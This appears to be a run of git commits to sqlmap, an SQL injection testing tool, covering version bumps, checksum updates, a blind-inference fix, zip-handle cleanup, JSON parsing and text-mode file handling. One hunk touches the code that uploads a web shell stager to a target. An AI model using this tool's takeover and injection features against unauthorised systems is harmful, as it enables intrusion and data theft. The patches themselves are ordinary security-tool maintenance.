lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 211c6e5f470..9b265f65093 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.48" +VERSION = "1.10.1.49" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index ab69c170e6e..2c1d3f41634 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -415,7 +415,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) - originalTbl = xrange(charTbl) + originalTbl = xrange(charTbl[0], charTbl[-1] + 1) maxChar = maxValue = charTbl[-1] minValue = charTbl[0] else: From 57047ba8cf5947353308de4c1555b80118239654 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 17 Jan 2026 23:03:53 +0100 Subject: [PATCH 052/135] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/core/wordlist.py | 11 ++++++++--- 3 files changed, 11 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3e9af742d5e..e2372b35ad8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -6fd593ad0a21aed2aa76f29d4803d1ab365d097cb2b2ba45763ba93e446d9c77 lib/core/settings.py +0e42cf73431ee75dd647815b5161b8422044f912f4533e04385e1a8aa5a1fa9a lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -197,7 +197,7 @@ ddf8c5a3dbebd6cdf8b8ba4417e36652d1e040f025175cb6487f1aebc0208836 lib/core/testi cf4dca323645d623109a82277a8e8a63eb9abb3fff6c8a57095eb171c1ef91b3 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 10719f5ca450610ad28242017b2d8a77354ca357ffa26948c5f62d20cac29a8b lib/core/update.py -9ed5a0aef84f55d42894a006ff3616e8ee388a55790b04d968c80d1470c6d3bc lib/core/wordlist.py +ec11fd5a3f4efd10a1cae288157ac6eb6fb75da4666d76d19f6adf74ac338b5a lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py a9f10a558684778bdb00d446cb88967fc1bfd413ae6a5f4bd582b3ea442baa87 lib/parse/cmdline.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 9b265f65093..f38b310a5f8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.49" +VERSION = "1.10.1.50" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 1e2698b3573..1bb8e42bf2f 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -27,6 +27,7 @@ class Wordlist(six.Iterator): def __init__(self, filenames, proc_id=None, proc_count=None, custom=None): self.filenames = [filenames] if isinstance(filenames, six.string_types) else filenames self.fp = None + self.zip_file = None self.index = 0 self.counter = -1 self.current = None @@ -49,16 +50,16 @@ def adjust(self): self.current = self.filenames[self.index] if isZipFile(self.current): try: - _ = zipfile.ZipFile(self.current, 'r') + self.zip_file = zipfile.ZipFile(self.current, 'r') except zipfile.error as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) - if len(_.namelist()) == 0: + if len(self.zip_file.namelist()) == 0: errMsg = "no file(s) inside '%s'" % self.current raise SqlmapDataException(errMsg) - self.fp = _.open(_.namelist()[0]) + self.fp = self.zip_file.open(self.zip_file.namelist()[0]) else: self.fp = open(self.current, "rb") self.iter = iter(self.fp) @@ -70,6 +71,10 @@ def closeFP(self): self.fp.close() self.fp = None + if self.zip_file: + self.zip_file.close() + self.zip_file = None + def __next__(self): retVal = None while True: From e62e8c6cea658b6f9879baabc74aa58a9211bc5c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 17 Jan 2026 23:21:13 +0100 Subject: [PATCH 053/135] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 10 +++++----- lib/core/settings.py | 2 +- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e2372b35ad8..56ac334639a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py 1da4ec9cd9b67c8b54e4a3d314f8237d58778d8f3a00bc26a1e0540294dca30f lib/core/bigarray.py -a71a00c5c3efbc259087d90358a0665af15034454455dbd5b02b7451748f7371 lib/core/common.py +3324bcf3da983e8ca8d34fc1123b32706056e7158aaa2c274fa1560b1f377889 lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -0e42cf73431ee75dd647815b5161b8422044f912f4533e04385e1a8aa5a1fa9a lib/core/settings.py +9d05d48a24cf166f965ae95e63a57e92061bc84bb1fc2b3fe1c5ee985e17b453 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index 0f7a8537fd6..8d755407cb0 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1411,7 +1411,7 @@ def parseJson(content): """ This function parses POST_HINT.JSON and POST_HINT.JSON_LIKE content - >>> parseJson("{'id':1}")["id"] == 1 + >>> parseJson("{'id':1, 'foo':[2,3,4]}")["id"] == 1 True >>> parseJson('{"id":1}')["id"] == 1 True @@ -1429,10 +1429,10 @@ def parseJson(content): if quote == '"': retVal = json.loads(content) elif quote == "'": - content = content.replace('"', '\\"') - content = content.replace("\\'", BOUNDARY_BACKSLASH_MARKER) - content = content.replace("'", '"') - content = content.replace(BOUNDARY_BACKSLASH_MARKER, "'") + def _(match): + return '"%s"' % match.group(1).replace('"', '\\"') + + content = re.sub(r"'((?:[^'\\]|\\.)*)'", _, content) retVal = json.loads(content) except: pass diff --git a/lib/core/settings.py b/lib/core/settings.py index f38b310a5f8..e4461452bba 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.50" +VERSION = "1.10.1.51" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d9102e03c61ff2f4ab5fe33d093031169d769441 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 18 Jan 2026 00:05:05 +0100 Subject: [PATCH 054/135] Moving binary to textual file openings --- data/txt/sha256sums.txt | 18 +++++++++--------- lib/core/common.py | 9 +++++---- lib/core/dump.py | 6 +++--- lib/core/option.py | 10 +++++----- lib/core/settings.py | 2 +- lib/parse/configfile.py | 2 +- lib/request/connect.py | 2 +- lib/utils/crawler.py | 2 +- lib/utils/purge.py | 2 +- sqlmap.py | 2 +- 10 files changed, 28 insertions(+), 27 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 56ac334639a..e8a5d9e6160 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py 1da4ec9cd9b67c8b54e4a3d314f8237d58778d8f3a00bc26a1e0540294dca30f lib/core/bigarray.py -3324bcf3da983e8ca8d34fc1123b32706056e7158aaa2c274fa1560b1f377889 lib/core/common.py +af24159b8ca5b8fe5e13cdfdedc2a758a2f4883361a601e0a550127cff368b3a lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -176,20 +176,20 @@ e396b7971d38896e0e20b973a3a6a3fbc3171d080a21bc6e66a65bee452fd69c lib/core/datat e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 76756ce056dd2e5363e5e1d2b2b4c3f3b36ff8c8ac215e83ee3b8d535ea6b741 lib/core/dicts.py -143f0b5b30e0f24b3527945879497de1542ba1aee9e6f0f98865e626c4c9317e lib/core/dump.py +a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump.py 1abf1edeacb85eaf5cffd35fcbde4eee2da6f5fc722a8dc1f9287fb55d138418 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 02a2264324caa249154e024a01bcd7cc40dbca4d647d5d10a50654b4415a6d77 lib/core/optiondict.py -6576d40a66fa7871d3498c193f4e1e50a9fa9a380005d019c5c2266c1dc31c21 lib/core/option.py +4dc6383b5d9cfff5b1bf8ffa8b0b02a7dbd8df8624b76030f8925c2dbdee9bf9 lib/core/option.py 8171f6ee33e7742f06bb3014a28324496374beddee7b378ace10a26414a97762 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -9d05d48a24cf166f965ae95e63a57e92061bc84bb1fc2b3fe1c5ee985e17b453 lib/core/settings.py +2503c9b9eca74ae3c2a6b245504046b623bf0e8a8f433105f41f61fa626aec48 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -201,7 +201,7 @@ ec11fd5a3f4efd10a1cae288157ac6eb6fb75da4666d76d19f6adf74ac338b5a lib/core/wordl 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py a9f10a558684778bdb00d446cb88967fc1bfd413ae6a5f4bd582b3ea442baa87 lib/parse/cmdline.py -cac08047db1168b24174496268af811cee555e7c3fdd528ef8d895ec49b91d36 lib/parse/configfile.py +02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 97361d481a97b600a3086b7f228f54ffa68a78df8b63b76bfaa5495d66770b63 lib/parse/headers.py 1ad9054cd8476a520d4e2c141085ae45d94519df5c66f25fac41fe7d552ab952 lib/parse/html.py @@ -212,7 +212,7 @@ d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payl a1c638493ecdc5194db7186bbfed815c6eed2344f2607cac8c9fa50534824266 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287 lib/request/comparison.py -626bb6f3316a906a4629c0feb8ecbbcf473fb59e5bc532603c35b6b8f63f1deb lib/request/connect.py +f83140c85be7f572f83c4ab4279fa1d8601243210cdfe4a44b2fc218befbcffd lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py f56fc33251bd6214e3a6316c8f843eb192b2996aa84bd4c3e98790fdcf6e8cf0 lib/request/httpshandler.py @@ -244,7 +244,7 @@ f552b6140d4069be6a44792a08f295da8adabc1c4bb6a5e100f222f87144ca9d lib/techniques a17c1d201bd084de0093254bcd303aa859399891de13a7259e8c200e98294efb lib/techniques/union/use.py 67dff80a17503b91c8ff93788ccc037b6695aa18b0793894b42488cbb21c4c83 lib/utils/api.py ea5e14f8c9d74b0fb17026b14e3fb70ee90e4046e51ab2c16652d86b3ca9b949 lib/utils/brute.py -3fa1b9fd57ff47c6a283e8381bf70259dce57bb2327f99d8cb56450f1acf2d46 lib/utils/crawler.py +da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52 lib/utils/gui.py @@ -255,7 +255,7 @@ dc68b7fdb2ae0e958f2a553984a94a06832d216a3209f632ad9ff53f17554524 lib/utils/http 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 22ba65391b0a73b1925e5becf8ddab6ba73a196d86e351a2263509aad6676bd7 lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py -b0f777739420f7207e57d7073fd94c630a456e4c419d440b98ed6521143952dc lib/utils/purge.py +27afe211030d06db28df85296bfbf698296c94440904c390cef0ff0c259dbbc5 lib/utils/purge.py c853aa08ab24a00a78969408d60684da0ccb33a2a6693492e0acb7c480ffbcd1 lib/utils/safe2bin.py 2ee72e83500a1bf02fcd942564fca0053a0c46f736286f0c35dd6904e09f4734 lib/utils/search.py 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35 lib/utils/sgmllib.py @@ -487,7 +487,7 @@ eb45fd711efa71ab9d91d815cc8abebc9abc4770311fbb827159008b000f4fc2 plugins/generi c6ad39bfd1810413402dedfc275fc805fa13f85fc490e236c1e725bde4e5100b sqlmapapi.py 4e993cfe2889bf0f86ad0abafd9a6a25849580284ea279b2115e99707e14bb97 sqlmapapi.yaml a40607ce164eb2d21865288d24b863edb1c734b56db857e130ac1aef961c80b9 sqlmap.conf -e9d3d52d4c0698b956cc0dc92c177d432b1f97c5918f750baa3e737de4ae574b sqlmap.py +01457a41833b89b8bcdcae7b241a184bfcfdd8088575506154dd6ea1f4d71186 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py diff --git a/lib/core/common.py b/lib/core/common.py index 8d755407cb0..f92d20ac1c6 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2465,7 +2465,7 @@ def getSQLSnippet(dbms, sfile, **variables): return retVal -def readCachedFileContent(filename, mode="rb"): +def readCachedFileContent(filename, mode='r'): """ Cached reading of file content (avoiding multiple same file reading) @@ -3609,7 +3609,7 @@ def saveConfig(conf, filename): config.set(family, option, value) - with openFile(filename, "wb") as f: + with openFile(filename, 'w') as f: try: config.write(f) except IOError as ex: @@ -3815,6 +3815,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", # Reference: https://stackoverflow.com/a/37462452 if 'b' in mode: buffering = 0 + encoding = None if filename == STDIN_PIPE_DASH: if filename not in kb.cache.content: @@ -4022,7 +4023,7 @@ def createGithubIssue(errMsg, excMsg): logger.info(infoMsg) try: - with openFile(paths.GITHUB_HISTORY, "a+b") as f: + with openFile(paths.GITHUB_HISTORY, "a+") as f: f.write("%s\n" % key) except: pass @@ -5103,7 +5104,7 @@ def resetCookieJar(cookieJar): os.close(handle) # Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html - with openFile(filename, "w+b") as f: + with openFile(filename, "w+") as f: f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES) for line in lines: _ = line.split("\t") diff --git a/lib/core/dump.py b/lib/core/dump.py index 4ee2f34a249..aa50ae07c4c 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -110,7 +110,7 @@ def setOutputFile(self): self._outputFile = os.path.join(conf.outputPath, "log") try: - self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb") + self._outputFP = openFile(self._outputFile, 'a' if not conf.flushSession else 'w') except IOError as ex: errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) @@ -453,7 +453,7 @@ def dbTableValues(self, tableValues): dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) if not checkFile(dumpFileName, False): try: - openFile(dumpFileName, "w+b").close() + openFile(dumpFileName, "w+").close() except SqlmapSystemException: raise except: @@ -481,7 +481,7 @@ def dbTableValues(self, tableValues): else: count += 1 - dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE) + dumpFP = openFile(dumpFileName, 'w' if not appendToFile else 'a', buffering=DUMP_FILE_BUFFER_SIZE) count = int(tableValues["__infos__"]["count"]) if count > TRIM_STDOUT_DUMP_SIZE: diff --git a/lib/core/option.py b/lib/core/option.py index 50aeea17df3..1fdb750c537 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -753,7 +753,7 @@ def _listTamperingFunctions(): logger.info(infoMsg) for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))): - content = openFile(script, "rb").read() + content = openFile(script, 'r').read() match = re.search(r'(?s)__priority__.+"""(.+)"""', content) if match: comment = match.group(1).strip() @@ -1015,8 +1015,8 @@ def _setPostprocessFunctions(): handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") os.close(handle) - openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n") - openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass") + openFile(filename, "w+").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n") + openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+").write("pass") errMsg = "function 'postprocess(page, headers=None, code=None)' " errMsg += "in postprocess script '%s' " % script @@ -1593,7 +1593,7 @@ def _createHomeDirectories(): os.makedirs(directory) _ = os.path.join(directory, randomStr()) - open(_, "w+b").close() + open(_, "w+").close() os.remove(_) if conf.get("outputDir") and context == "output": @@ -1623,7 +1623,7 @@ def _createTemporaryDirectory(): _ = os.path.join(conf.tmpDir, randomStr()) - open(_, "w+b").close() + open(_, "w+").close() os.remove(_) tempfile.tempdir = conf.tmpDir diff --git a/lib/core/settings.py b/lib/core/settings.py index e4461452bba..611f977d9dc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.51" +VERSION = "1.10.1.52" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 5080364c61e..a3bd3786b4f 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -64,7 +64,7 @@ def configFileParser(configFile): logger.debug(debugMsg) checkFile(configFile) - configFP = openFile(configFile, "rb") + configFP = openFile(configFile, 'r') try: config = UnicodeRawConfigParser() diff --git a/lib/request/connect.py b/lib/request/connect.py index 77b4875ee99..ad22bf9575c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -490,7 +490,7 @@ def getPage(**kwargs): headers = forgeHeaders(auxHeaders, headers) if kb.headersFile: - content = openFile(kb.headersFile, "rb").read() + content = openFile(kb.headersFile, 'r').read() for line in content.split("\n"): line = getText(line.strip()) if ':' in line: diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 833738ce41e..3741d2ace14 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -254,7 +254,7 @@ def storeResultsToFile(results): infoMsg = "writing crawling results to a temporary file '%s' " % filename logger.info(infoMsg) - with openFile(filename, "w+b") as f: + with openFile(filename, "w+") as f: if conf.forms: f.write("URL,POST\n") diff --git a/lib/utils/purge.py b/lib/utils/purge.py index 05482cb3337..b1c0e6cd41e 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -50,7 +50,7 @@ def purge(directory): for filepath in filepaths: try: filesize = os.path.getsize(filepath) - with openFile(filepath, "w+b") as f: + with openFile(filepath, "w+") as f: f.write("".join(_unichr(random.randint(0, 255)) for _ in xrange(filesize))) except: pass diff --git a/sqlmap.py b/sqlmap.py index 063f960a38a..eb08e218d2a 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -593,7 +593,7 @@ def main(): if conf.get("harFile"): try: - with openFile(conf.harFile, "w+b") as f: + with openFile(conf.harFile, "w+") as f: json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': ')) except SqlmapBaseException as ex: errMsg = getSafeExString(ex) From 9063c21f62035cda7b3709f2f86cb6291630a264 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 18 Jan 2026 16:54:04 +0100 Subject: [PATCH 055/135] Fixes #6007 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/takeover/web.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e8a5d9e6160..e1dc0147210 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2503c9b9eca74ae3c2a6b245504046b623bf0e8a8f433105f41f61fa626aec48 lib/core/settings.py +dada375f986e0e11e9902530f30ffd8bc0c4b90ae246b12edb24e46dc84b4da9 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -229,7 +229,7 @@ d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab lib/takeover/i 12e729e4828b7e1456ca41dae60cb4d7eca130a8b4c4885dd0f5501dcbda7fe4 lib/takeover/metasploit.py f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/registry.py f6e5d6e2ff368fa39943b2302982f33c47eb9a12d01419bef50fcf934b2bce34 lib/takeover/udf.py -4b5ff4fcfa25454e6a93600d32af42a69bd59151639f569c01920c8610a99656 lib/takeover/web.py +23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 14179e5273378ec8d63660a87c5cb07a42b61a6fceb7f3bb494a7b5ce10ce2cb lib/takeover/xp_cmdshell.py 69928272eed889033e106527f88454dc844bfbb375fcf7c22d5f76ee30c62c9b lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 611f977d9dc..6b87f2dc2eb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.52" +VERSION = "1.10.1.53" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index a701ad28ad9..321840a8e4a 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -335,7 +335,7 @@ def webInit(self): handle, filename = tempfile.mkstemp() os.close(handle) - with openFile(filename, "w+b") as f: + with openFile(filename, "w+") as f: _ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) _ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) f.write(_) From 21d0c67bf7c2f3853261e5541de8ac78c9d9df3d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 18 Jan 2026 17:02:29 +0100 Subject: [PATCH 056/135] 